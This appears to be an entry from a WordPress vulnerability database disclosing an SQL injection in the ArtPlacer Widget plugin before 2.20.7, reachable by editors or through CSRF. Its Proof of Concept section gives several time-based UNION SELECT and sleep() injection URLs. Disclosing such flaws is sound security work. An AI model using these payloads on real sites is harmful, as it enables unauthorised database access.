WordPress Plugin Vulnerabilities

ArtPlacer Widget < 2.20.7 - Editor+ SQLi

Description

The plugin does not sanitize and escape the "id" parameter before submitting the query, leading to a SQLI exploitable by editors and above. Note: Due to the lack of CSRF check, the issue could also be exploited via a CSRF against a logged editor (or above)

Proof of Concept

As an editor, open

https://example.com/wp-admin/admin.php?page=edit-art-placer&id=1+union+select+1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C%28sleep%2820%29%29

Other POC:
https://example.com/wp-admin/admin.php?page=edit-art-placer&id=(sleep(20))
https://example.com/wp-admin/admin.php?page=edit-art-placer&id=1 union select 1,1,1,1,1,1,1,1,(sleep(20))

Affects Plugins

Fixed in 2.20.7

References

Classification

Type
SQLI
OWASP top 10
CWE

Miscellaneous

Original Researcher
Claudio Marchesini, Enrico Marcolini
Submitter
Claudio Marchesini, Enrico Marcolini
Submitter website
Verified
Yes

Timeline

Publicly Published
2023-12-07 (about 5 months ago)
Added
2023-12-07 (about 5 months ago)
Last Updated
2023-12-07 (about 5 months ago)

Other